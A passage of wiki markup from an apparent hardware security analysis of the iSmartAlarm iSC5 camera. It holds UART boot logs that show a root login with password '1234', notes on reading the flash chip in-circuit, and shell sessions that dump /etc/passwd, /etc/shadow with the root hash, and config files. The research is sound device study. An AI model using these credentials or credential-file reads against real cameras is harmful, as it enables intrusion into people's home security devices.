-----&amp;gt;sussess crop to (0, 40, 320, 240)&lt;br /&gt;
channel 0 buffer count=2, size=118784&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
OPEN  video_code driver OK &lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
-----------------------------open video code-------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_Status_N  is  2   1  ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
Sending discover...&lt;br /&gt;
===========================dongle_num  0==================================&lt;br /&gt;
Guozhixin USB down !!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
-----&amp;gt;has ability to crop!!&lt;br /&gt;
cropcapframe rate update,  pix_clk: 46607142, rate 10 fps, frame_length: 0xac9, line_length: 0x698&lt;br /&gt;
.defrect = (0, 40, 1280, 720)&lt;br /&gt;
-----&amp;gt;sussess crop to (0, 40, 1280, 720)&lt;br /&gt;
channel 1 buffer count=2, size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
-----------------------------open video -------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
--------------------------------------------------------------------------&lt;br /&gt;
OPEN video driver OK &lt;br /&gt;
snx_vc snx_vc: snx_vc_open: Created instance c36af600, m2m_ctx: c2067800&lt;br /&gt;
snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: OUTPUT fps == 10&lt;br /&gt;
snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: CAPTURE fps == 10&lt;br /&gt;
snx_vc snx_vc: s_fmt: Setting format for type 2, wxh: 1280x720, fmt: 808596563&lt;br /&gt;
1280 720  scale == 1&lt;br /&gt;
snx_vc snx_vc: s_fmt: Setting format for type 1, wxh: 1280x720, fmt: 875967048&lt;br /&gt;
set md threshold 300 &lt;br /&gt;
&amp;lt;&amp;lt;&amp;lt;snx_vb2_alloc&amp;gt;&amp;gt;&amp;gt; alloc size=2768896 reduce size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
----------VC_start_video success ch=1 &lt;br /&gt;
bps modify  == 50000 --&amp;gt; 400000&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
motor_set_move_flag 0(0:not move, 1:moving)&lt;br /&gt;
No lease, forking to background&lt;br /&gt;
********************video_chansnx_vc snx_vc: snx_vc_open: Created instance c3ef2e00, m2m_ctx: c36c8c00&lt;br /&gt;
nel[0].m2m.m2m 0 width 1snx_vc snx_vc: snx_vidioc_s_parm: snx_vidioc_s_parm: CAPTURE fps == 10&lt;br /&gt;
280  height 720************************&lt;br /&gt;
1280 snx_vc snx_vc: s_fmt: Setting format for type 1, wxh: 1280x720, fmt: 1196444237&lt;br /&gt;
720  scale == 1&lt;br /&gt;
&amp;lt;&amp;lt;&amp;lt;snx_vb2_alloc&amp;gt;&amp;gt;&amp;gt; alloc size=2768896 reduce size=1384448&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
local storage local storage local storage local storagear0130 start streaming&lt;br /&gt;
 &lt;br /&gt;
local storage local storage local storage local storage &lt;br /&gt;
LS: MSG_LS_T_RECORD_STATE = 0 (0:ready 1:stop)&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
----------VC_start_video success ch=0 &lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
m2m-&amp;gt;cap_bytesused  0  == 0  1&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
platform_move_handler HERE HERE  START MSG_SP_P_MOTORMOVE&lt;br /&gt;
MSG_AUDIOALARM_T_MOTOR_ACTION Motormove = 0 open&lt;br /&gt;
motor_set_move_flag 0(0:not move, 1:moving)&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
get Image size 4972 &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: root&lt;br /&gt;
Password: 1234&lt;br /&gt;
~ # exit&lt;br /&gt;
&lt;br /&gt;
process &#039;/sbin/getty -L ttyS0 115200 vt100&#039; (pid 603) exited. Scheduling for restart.&lt;br /&gt;
&lt;br /&gt;
starting pid 681, tty &#039;/dev/ttyS0&#039;: &#039;/sbin/getty -L ttyS0 115200 vt100&#039;&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: default&lt;br /&gt;
login: can&#039;t change directory to &#039;/home/default&#039;&lt;br /&gt;
/ $ &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Factory Reset&amp;lt;/h5&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Press and hold the setup button for about 10s to set the device back to factory default. Once holding, the setup button, the device will start the setup process, which is trigger on key press, until interupted by the reset routine after holdign for 10s.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Spot - Smart Home Security Camera&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;-----------nSessionID  is  -13 ----------- &lt;br /&gt;
get Image size 1188 &lt;br /&gt;
_________________________socket write  6_________________________&lt;br /&gt;
 fe &lt;br /&gt;
 02  2a  0b  b8  ed &lt;br /&gt;
@@@@ threadStatus[4].tm=0  tm=230&lt;br /&gt;
write child_getThreadsStatus -1&lt;br /&gt;
_________________________socket read  4_________________________&lt;br /&gt;
 ef &lt;br /&gt;
 00  2b  1a &lt;br /&gt;
rcv from serial: buf[2] = 0x2b&lt;br /&gt;
function set_cur_net_state&lt;br /&gt;
function set_cur_net_state end&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
function set_MQTT_Connect_active &lt;br /&gt;
function set_MQTT_Connect_active end&lt;br /&gt;
function Cloud_Init &lt;br /&gt;
function Cloud_Init end&lt;br /&gt;
function Mode_info_Init &lt;br /&gt;
function Mode_info_Init end&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Active get y&lt;br /&gt;
acTmpBuf = y, lTmpLen = 1&lt;br /&gt;
start to set wifi,read para from flash&lt;br /&gt;
item = 1&lt;br /&gt;
item = Wifi_Mode get D&lt;br /&gt;
item = 0&lt;br /&gt;
item = Camera_SSID get &lt;br /&gt;
CONFIG_WIFI_SSID  : � lTmpLen is: 0&lt;br /&gt;
wifi ssid is null , return&lt;br /&gt;
comeinto send_message_to_set_net&lt;br /&gt;
Play Music /usr/share/notify/dang.wav &lt;br /&gt;
[SNX-AUDIO] playback file /usr/share/notify/dang.wav open OK&lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((Video_Code_GetKey  is  0   2 ))))))))))))))))))))) &lt;br /&gt;
((((((((((((((((((((????????????????????????????))))))))))))))))))))) &lt;br /&gt;
audio interface opened&lt;br /&gt;
hw_params allocated&lt;br /&gt;
hw_params initialized&lt;br /&gt;
hw_params access setted&lt;br /&gt;
hw_params format setted&lt;br /&gt;
hw_params rate setted&lt;br /&gt;
hw_params channels setted&lt;br /&gt;
hw_params setted&lt;br /&gt;
hw_params freed&lt;br /&gt;
audio interface prepared&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***************     audio_wifi(buffer_frames,48000)   2956072   ********************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
***********************************************************************************&lt;br /&gt;
*************************************************************&lt;br /&gt;
******************    begin Cooee      **************&lt;br /&gt;
*************************************************************&lt;br /&gt;
pstAlarmFuncInfo-&amp;gt;nCloudyStateFlag = 0&lt;br /&gt;
OK&lt;br /&gt;
 no pic  231  um 847590 &lt;br /&gt;
 no pic  232  um 49682 &lt;br /&gt;
 no pic  232  um 264913 &lt;br /&gt;
 no pic  232  um 464008 &lt;br /&gt;
 no pic  232  um 661709 &lt;br /&gt;
 no pic  232  um 847831 &lt;br /&gt;
 no pic  233  um 47615 &lt;br /&gt;
 no pic  233  um 244993 &lt;br /&gt;
 no pic  233  um 461132 &lt;br /&gt;
 no pic  233  um 660414 &lt;br /&gt;
 no pic  233  um 861181 &lt;br /&gt;
 no pic  234  um 43007 &lt;br /&gt;
 no pic  234  um 243759 &lt;br /&gt;
 no pic  234  um 443064 &lt;br /&gt;
 no pic  234  um 661355 &lt;br /&gt;
 no pic  234  um 859948 &lt;br /&gt;
 no pic  235  um 60911 &lt;br /&gt;
 no pic  235  um 243859 &lt;br /&gt;
 no pic  235  um 443836 &lt;br /&gt;
 no pic  235  um 654527 &lt;br /&gt;
 no pic  235  um 861137 &lt;br /&gt;
 no pic  236  um 60774 &lt;br /&gt;
 no pic  236  um 263041 &lt;br /&gt;
 no pic  236  um 443540 &lt;br /&gt;
 no pic  236  um 643899 &lt;br /&gt;
 no pic  236  um 863547 &lt;br /&gt;
 no pic  237  um 60909 &lt;br /&gt;
 no pic  237  um 261431 &lt;br /&gt;
 no pic  237  um 460862 &lt;br /&gt;
Easy setup target library v3.3.0&lt;br /&gt;
&lt;br /&gt;
WLC_E_TRACE: [Event lost (msg) --&amp;gt; seqnum 5 nblost 4&lt;br /&gt;
000764.406 EasySetupFW: START&lt;br /&gt;
000764.406 Default channel list: &lt;br /&gt;
000764.406 2 7 12 3 8 13 4 9 5 10 1 6 11 &lt;br /&gt;
000764.406 -&amp;gt; [0]@CH[0]&lt;br /&gt;
000764.406 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.407 ES: ERROR -2 add packet filter&lt;br /&gt;
000764.408 Protocol 0 init done&lt;br /&gt;
000764.408 Protocol 1 init done&lt;br /&gt;
000764.408 -&amp;gt; [1]@CH[0]&lt;br /&gt;
000764.409 ES: ERROR -2 add packet filter&lt;br /&gt;
 no pic  237  um 644411 &lt;br /&gt;
 no pic  237  um 847519 &lt;br /&gt;
 no pic  238  um 60686 &lt;br /&gt;
 no pic  238  um 258675 &lt;br /&gt;
 no pic  238  um 464081 &lt;br /&gt;
000765.484 -&amp;gt; [2]@CH[0]&lt;br /&gt;
000765.484 =&amp;gt; 11 &amp;lt;1&amp;gt;&lt;br /&gt;
 no pic  238  um 659067 &lt;br /&gt;
 no pic  238  um 847587 &lt;br /&gt;
 no pic  239  um 46387 &lt;br /&gt;
 no pic  239  um 263318 &lt;br /&gt;
 no pic  239  um 461071 &lt;br /&gt;
 no pic  239  um 658918 &lt;br /&gt;
 no pic  239  um 851473 &lt;br /&gt;
-----------nSessionID  is  -13 ----------- &lt;br /&gt;
 no pic  240  um 45822 &lt;br /&gt;
 no pic  240  um 246879 &lt;br /&gt;
 no pic  240  um 461897 &lt;br /&gt;
 no pic  240  um 661574 &lt;br /&gt;
 no pic  240  um 862076 &lt;br /&gt;
 no pic  241  um 42901 &lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
RESET FACTORY RESET FACTORY RESET FACTORY RESET FACTORY&lt;br /&gt;
 no pic  241  um 293545 &lt;br /&gt;
 no pic  241  um 451548 &lt;br /&gt;
 no pic  241  um 652147 &lt;br /&gt;
 no pic  241  um 851155 &lt;br /&gt;
 no pic  242  um 52229 &lt;br /&gt;
 no pic  242  um 229505 &lt;br /&gt;
MCU_self_reset MCU_self_reset Restarting system.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  5 ��� 4 ��� 3 ��� 2 ��� 1 ��� 0 &lt;br /&gt;
roofsr size = 0x63b070&lt;br /&gt;
## Booting kernel from Legacy Image at 00008000 ...&lt;br /&gt;
   Image Name:   Linux-2.6.35.12&lt;br /&gt;
   Image Type:   ARM Linux Kernel Image (uncompressed)&lt;br /&gt;
   Data Size:    2947968 Bytes = 2.8 MiB&lt;br /&gt;
   Load Address: 00008000&lt;br /&gt;
   Entry Point:  00008040&lt;br /&gt;
   Verifying Checksum ... OK&lt;br /&gt;
   XIP Kernel Image ... OK&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
[ ... ]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;JTAG&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) JTAG Pin assignment.jpeg|200px|right|thumb|JTAG Pin Assignment]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Exploit Memory Chips&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The examined device uses SPI NOR Flash (SOP8) (MX25L12835F) to store data and/or (parts of) the firmware. The iSC5 additionally uses a another SOP16 chip (F9224 620K), which has the typical hand-drawn red mark on usually indicating the FW store. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Datasheet&amp;lt;/b&amp;gt;: [https://www.mxic.com.tw/Lists/Datasheet/Attachments/7397/MX25L12835F,%203V,%20128Mb,%20v1.6.pdf MX25L12835F] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Live Analysis&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Overview Firmware 01-32bd010c (Factory Default)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Shell Commands&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;[                  ftpget             mkfifo             start-stop-daemon&lt;br /&gt;
[[                 ftpput             mkfs.ext2          strings&lt;br /&gt;
addgroup           fwburnonly         mkfs.reiser        stty&lt;br /&gt;
adduser            fwcnew             mkfs.vfat          su&lt;br /&gt;
arping             gdbserver          mknod              sulogin&lt;br /&gt;
ash                getopt             mktemp             swapoff&lt;br /&gt;
basename           getty              modprobe           swapon&lt;br /&gt;
bcmdl              gfwver             more               sync&lt;br /&gt;
busybox            gpio3_blink        mount              syslogd&lt;br /&gt;
cat                gpio_init          mount.exfat        tail&lt;br /&gt;
chgrp              gpio_led           mount.exfat-fuse   tar&lt;br /&gt;
chmod              gpio_ms1           mt                 tee&lt;br /&gt;
chown              grep               mv                 telnet&lt;br /&gt;
chroot             groups             netstat            telnetd&lt;br /&gt;
clear              halt               nice               test&lt;br /&gt;
cp                 hd                 nslookup           test_UP/&lt;br /&gt;
crond              head               ntfs-3g            time&lt;br /&gt;
crontab            hexdump            ntpd               top&lt;br /&gt;
cut                hostid             nvram_get          touch&lt;br /&gt;
date               hostname           nvram_init         tr&lt;br /&gt;
dc                 hwclock            nvram_set          true&lt;br /&gt;
dd                 id                 nvram_utility      tty&lt;br /&gt;
delgroup           ifconfig           pars_diff          ubimkvol&lt;br /&gt;
deluser            ifdown             passwd             ubirmvol&lt;br /&gt;
depmod             ifup               pidof              ubirsvol&lt;br /&gt;
df                 inetd              ping               ubiupdatevol&lt;br /&gt;
dhcprelay          init               ping6              udhcpc&lt;br /&gt;
dhd                insmod             poweroff           udhcpd&lt;br /&gt;
dhd_helper         install            printenv           umount&lt;br /&gt;
diff               ipcs               printf             uname&lt;br /&gt;
dirname            iwconfig           ps                 uniq&lt;br /&gt;
dmesg              iwlist             pstree             uptime&lt;br /&gt;
dnsd               iwpriv             pwd                users&lt;br /&gt;
dnsdomainname      kill               pwdx               usleep&lt;br /&gt;
du                 killall            readFile           uudecode&lt;br /&gt;
dumpleases         klogd              reboot             uuencode&lt;br /&gt;
echo               ln                 rm                 vi&lt;br /&gt;
egrep              logger             rmdir              vlock&lt;br /&gt;
env                login              rmmod              wc&lt;br /&gt;
expr               logname            route              wget&lt;br /&gt;
false              losetup            run-parts          which&lt;br /&gt;
fdformat           ls                 sed                who&lt;br /&gt;
fdisk              lsblk              setserial          whoami&lt;br /&gt;
fgrep              lsmod              sh                 whois&lt;br /&gt;
find               lsof               sha1sum            wl&lt;br /&gt;
flash_erase        md5sum             sha3sum            wpa_cli&lt;br /&gt;
flash_eraseall     mdev               singleBoadTest/    wpa_supplicant&lt;br /&gt;
free               mkdir              sleep              xargs&lt;br /&gt;
fstrim             mkdosfs            snx_pwm_period     yes&lt;br /&gt;
fsync              mke2fs             sort&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Service configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# echo $USER&lt;br /&gt;
root&lt;br /&gt;
&lt;br /&gt;
# cat /etc/passwd&lt;br /&gt;
root:x:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:x:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:x:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:x:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:x:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default:x:1000:1000:Default non-root user:/home/default:/bin/sh&lt;br /&gt;
&lt;br /&gt;
# cat /etc/shadow&lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:10933:0:99999:7:::&lt;br /&gt;
bin:*:10933:0:99999:7:::&lt;br /&gt;
daemon:*:10933:0:99999:7:::&lt;br /&gt;
adm:*:10933:0:99999:7:::&lt;br /&gt;
lp:*:10933:0:99999:7:::&lt;br /&gt;
sync:*:10933:0:99999:7:::&lt;br /&gt;
shutdown:*:10933:0:99999:7:::&lt;br /&gt;
halt:*:10933:0:99999:7:::&lt;br /&gt;
uucp:*:10933:0:99999:7:::&lt;br /&gt;
operator:*:10933:0:99999:7:::&lt;br /&gt;
nobody:*:10933:0:99999:7:::&lt;br /&gt;
default::10933:0:99999:7:::&lt;br /&gt;
&lt;br /&gt;
# cat /etc/group&lt;br /&gt;
root:x:0:&lt;br /&gt;
daemon:x:1:&lt;br /&gt;
bin:x:2:&lt;br /&gt;
sys:x:3:&lt;br /&gt;
adm:x:4:&lt;br /&gt;
tty:x:5:&lt;br /&gt;
disk:x:6:&lt;br /&gt;
wheel:x:10:root&lt;br /&gt;
utmp:x:43:&lt;br /&gt;
staff:x:50:&lt;br /&gt;
nobody:x:99:&lt;br /&gt;
nogroup:x:99:&lt;br /&gt;
users:x:100:&lt;br /&gt;
default:x:1000:&lt;br /&gt;
&lt;br /&gt;
# cat /linuxrc&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#&lt;br /&gt;
# This is the first script run in the system.&lt;br /&gt;
#&lt;br /&gt;
# Create device file&lt;br /&gt;
echo &amp;quot;Create device file&amp;quot;&lt;br /&gt;
/bin/mount -t proc none /proc&lt;br /&gt;
/bin/mount -t sysfs none /sys&lt;br /&gt;
/bin/mount -t usbfs none /proc/bus/usb&lt;br /&gt;
/bin/mount -t tmpfs -o size=512k,mode=0755 dev /dev&lt;br /&gt;
/bin/mkdir /dev/pts&lt;br /&gt;
/bin/mkdir /dev/shm&lt;br /&gt;
/bin/mount -t devpts devpts  /dev/pts&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
&lt;br /&gt;
#add for mount /dev/mtdblock4&lt;br /&gt;
/bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
if [ $? -ne 0 ]; then&lt;br /&gt;
        echo &amp;quot;Clean up the old data in the &#039;etc&#039; partition.&amp;quot;&lt;br /&gt;
        /usr/sbin/flash_eraseall -j -q /dev/mtd4&lt;br /&gt;
        /bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -x /etc/init.d/rcS ]; then&lt;br /&gt;
        echo &amp;quot;The system run for the first time.&amp;quot;&lt;br /&gt;
        echo &amp;quot;Please wait for initialization...&amp;quot;&lt;br /&gt;
        /bin/rm -rf /etc/*&lt;br /&gt;
        cp -a /root/etc_default/* /etc&lt;br /&gt;
        /bin/fsync&lt;br /&gt;
fi&lt;br /&gt;
#Create mdev&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
#add nvram inode&lt;br /&gt;
/sbin/modprobe snx_crypto&lt;br /&gt;
/sbin/modprobe snx_nvram&lt;br /&gt;
/bin/mknod /dev/nvram c 251 0&lt;br /&gt;
exec /sbin/init&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/config/.user_config&lt;br /&gt;
[IP]&lt;br /&gt;
Wired_DNS=192.168.1.1&lt;br /&gt;
Wired_Gateway=192.168.1.1&lt;br /&gt;
Wired_Subnet=255.255.255.0&lt;br /&gt;
Wired_Mode=D&lt;br /&gt;
Wired_IP=192.168.1.68&lt;br /&gt;
Wifi_DNS=192.168.1.1&lt;br /&gt;
Wifi_Gateway=192.168.1.1&lt;br /&gt;
Wifi_Subnet=255.255.255.0&lt;br /&gt;
Wifi_IP=192.168.1.68&lt;br /&gt;
Wifi_Active=y&lt;br /&gt;
Wifi_Mode=D&lt;br /&gt;
&lt;br /&gt;
[ALARM]&lt;br /&gt;
Alarm_pir_Switch=n&lt;br /&gt;
Alarm_Audio_SmokeYXMOD=200&lt;br /&gt;
Alarm_Audio_Sensitivity=5&lt;br /&gt;
Alarm_Audio_Switch=n&lt;br /&gt;
Alarm_Motion_Region=0,0;0,0&lt;br /&gt;
Alarm_Motion_Sensitivity=5&lt;br /&gt;
Alarm_Motion_Switch=n&lt;br /&gt;
&lt;br /&gt;
[LED_CONTROL]&lt;br /&gt;
Light_Night=y&lt;br /&gt;
Light_Net=y&lt;br /&gt;
&lt;br /&gt;
[VA_PARMS]&lt;br /&gt;
Audio_Volume=1&lt;br /&gt;
Audio_Sample=8000&lt;br /&gt;
Audio_Channel=1&lt;br /&gt;
Video_OSD=n&lt;br /&gt;
Video_Sample=10&lt;br /&gt;
Video_Rate=50&lt;br /&gt;
Video_Vflip=1&lt;br /&gt;
Video_Hflip=1&lt;br /&gt;
Video_Constract=3&lt;br /&gt;
Video_Bright=1&lt;br /&gt;
Video_IPS=30&lt;br /&gt;
&lt;br /&gt;
[CAMERA_INFO]&lt;br /&gt;
Camera_Mqtt_Server=bzy.ismartalarm.com&lt;br /&gt;
Camera_Type=iSC5&lt;br /&gt;
P2p_UID=&lt;br /&gt;
Server_URL=api.ismartalarm.com&lt;br /&gt;
SW_Version=0.0.0.0&lt;br /&gt;
HW_Version=0.0.0.0&lt;br /&gt;
Config_Version=2.4.9.6&lt;br /&gt;
Device_State=u&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/init.d/rcS&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
echo &amp;quot;Load drivers...&amp;quot;&lt;br /&gt;
modprobe snx_gpio&lt;br /&gt;
modprobe snx_sd &amp;amp;&lt;br /&gt;
modprobe snx_nvram &amp;amp;&lt;br /&gt;
&lt;br /&gt;
/etc/init.d/videomdprob.sh &amp;amp;&lt;br /&gt;
/etc/init.d/audmdprob.sh &amp;amp;&lt;br /&gt;
gpio_ms1 -n 3 -m 1 -v 0&lt;br /&gt;
if [ -f /lib/modules/2.6.35.12/kernel/drivers/bcmdhd.ko ]; then&lt;br /&gt;
        #/bin/bcmdl -n /usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm /usr/share/WUBB-738GN_4.2/Wi-Fi/fw_bcm43143b0_mfg.bin.trx -C 10&lt;br /&gt;
